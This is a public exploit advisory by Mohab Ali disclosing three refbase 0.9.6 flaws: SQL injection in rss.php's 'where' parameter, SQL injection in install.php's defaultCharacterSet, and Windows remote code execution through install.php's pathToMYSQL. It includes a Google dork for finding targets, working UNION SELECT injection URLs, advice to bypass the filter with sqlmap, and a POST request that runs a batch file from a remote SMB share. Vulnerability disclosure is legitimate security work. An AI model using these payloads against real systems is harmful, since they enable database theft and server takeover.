refbase 0.9.6 – Multiple Vulnerabilities
# Exploit Title: Refbase <= 0.9.6 rss.php where parameter SQL Injection # Google Dork: "powered by refbase" # Date: 23 Sep 2015 # Exploit Author: Mohab Ali # @0xAli # Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database # Software Link: http://sourceforge.net/projects/refbase/ # Reference: https://www.kb.cert.org/vuls/id/374092 # Version: 0.8, 0.9, 0.9.5, 0.9.6 # Tested on: WAMP (Windows) # CVE : CVE-2015-6009 # Solution: Vulnerability hasn't been patched yet. **Summary ** Refbase v 0.9.6 and earlier versions have an SQL injection vulnerability because of the insufficient validation when passing user supplied input to be passed to the database. ** Vulnerable code ** ################################################################################ #Line 35 : $queryWhereClause = $_REQUEST['where']; #Line 86 : $sanitizedWhereClause = extractWHEREclause(" WHERE " . $queryWhereClause); #Line 100: $sqlQuery .= " FROM $tableRefs WHERE " . $sanitizedWhereClause; #Line 123: $result = queryMySQLDatabase($query); ################################################################################ ** Exploit POCs ** /rss.php?where=1+and+5=(substr(@@version,1,1))-- -If it’s true then the mysql version is > 5 /rss.php?where='nonexistent'+union+all(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat('version:',@@version,''),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50)-- - /rss.php?where='nonexistent'+union+all(select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41)-- - [!] Version 0.8 and 0.9 provide no validation, but versions 0.9.5 and 0.9.6 provide some filtering so you better let sqlmap handle it. [!] The GET parameter "where" is vulnerable to SQL injection despite being filtered by a custom function called extractWHEREclause() it’s still can be bypassed to inject other queries. The extractWHEREclause() function which is defined in include.inc.php and it removes any additional MySQL keywords. preg_replace("/^.*? WHERE (.+?)(?= ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|[ ;]+(SELECT|INSERT|UPDATE|DELETE|CREATE|ALTER|DROP|FILE)\b|$).*?$/i", "\\1", $query); But it can be bypassed. # Contacted vendor: 23 Dec 2014 # Public disclosure: 23 Sep 2015 ################################################################################ # Exploit Title: Refbase <= 0.9.6 install.php defaultCharacterSet parameter SQL Injection # Google Dork: "powered by refbase" # Public Disclosure Date: 21 Sep 2015 # Exploit Author: Mohab Ali # @0xAli # Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database # Software Link: http://sourceforge.net/projects/refbase/ # Reference: https://www.kb.cert.org/vuls/id/374092 # Version: 0.8, 0.9, 0.9.5, 0.9.6. # Tested on: WAMP (Windows) # CVE : CVE-2015-6009 # Solution: Remove the install.php file after the installation **Summary ** Refbase v 0.9.6 and earlier versions have an SQL injection vulnerability because of the insufficient validation when passing user supplied input to be passed to the database. [!] You have to know the correct MySQL credentials. ** Vulnerable code ** ################################################################################ #Line 77 : $defaultCharacterSet = $_POST['defaultCharacterSet']; #Line 407: $queryCreateDB = $queryCreateDB . " DEFAULT CHARACTER SET " . $defaultCharacterSet; #Line 424: if (!($result = @ mysql_query ($queryCreateDB, $connection))) ################################################################################ ** Exploit POC ** Request: POST /install.php formType=install&submit=Install&adminUserName=root&adminPassword=pass&pathToMYSQL=C:\mysql5.6.17\bin\mysql.exe&databaseStructureFile=./install.sql&pathToBibutils=&defaultCharacterSet=SQL QUERY HERE&submit=Install ################################################################################ # Exploit Title: Refbase <= 0.9.6 install.php pathToMYSQL parameter RCE (Windows) # Google Dork: "powered by refbase" # Public Disclosure Date: 21 Sep 2015 # Exploit Author: Mohab Ali # @0xAli # Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database # Software Link: http://sourceforge.net/projects/refbase/ # Reference: https://www.kb.cert.org/vuls/id/374092 # Version: 0.9.6 and earlier. 0.6.1 and prior versions are not vulnerable. # Tested on: Windows # CVE : CVE-2015-6008 # Solution: Remove the install.php file after the installation **Summary ** Refbase v 0.9.6 and earlier versions have an RCE vulnerability because of the insufficient validation when passing user supplied input to be executed by the system. [!] You have to know the correct MySQL credentials and this doesn't appear to be exploitable on Linux since (AFAIK) it can't execute scripts remote smb shares by default. ** Vulnerable code ** ################################################################################ #Line 62: $pathToMYSQL = $_POST['pathToMYSQL']; #Line 67: $databaseStructureFile = $_POST['databaseStructureFile']; #Line 429: exec($pathToMYSQL . " -h " . $hostName . " -u " . $adminUserName . " -p" .$adminPassword . " --database=" . $databaseName . " < " . $databaseStructureFile . " 2>&1", $resultArray); ################################################################################ [*] pathToMYSQL and databaseStructureFile can't be empty, and has to be real file. And they can't contain ';' or '|' [*] To exploit this in Windows you can provide an executable on a remote share and execute it. ** Exploit POC ** Request: formType=install&submit=Install&adminUserName=root&adminPassword=123&pathToMYSQL=%5C%5CSERVER_IP%5CShare%5Cexec.bat&databaseStructureFile=.%2Finstall.sql&pathToBibutils=&defaultCharacterSet=latin1&submit=Install Executed command: \\SERVER_IP\Share\exec.bat -h localhost -u root -p123 --database=literature < ./install.sql 2>&1 |